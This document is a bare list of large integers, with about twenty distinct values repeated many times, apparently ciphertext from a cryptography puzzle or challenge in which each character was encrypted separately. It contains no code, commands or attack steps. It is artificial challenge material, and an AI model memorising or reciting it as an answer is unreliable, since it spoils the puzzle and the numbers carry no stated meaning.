20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 52840621689121797895256363389338274694450461789829175087736646052885972599541176587393339836186116798179639665528641843475425650830795547188378088601848535424795824136246287654182750346069524432086206082201048105736692531622222816403756012329174735009131234941877426201644907061786470186383501136594209222405, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 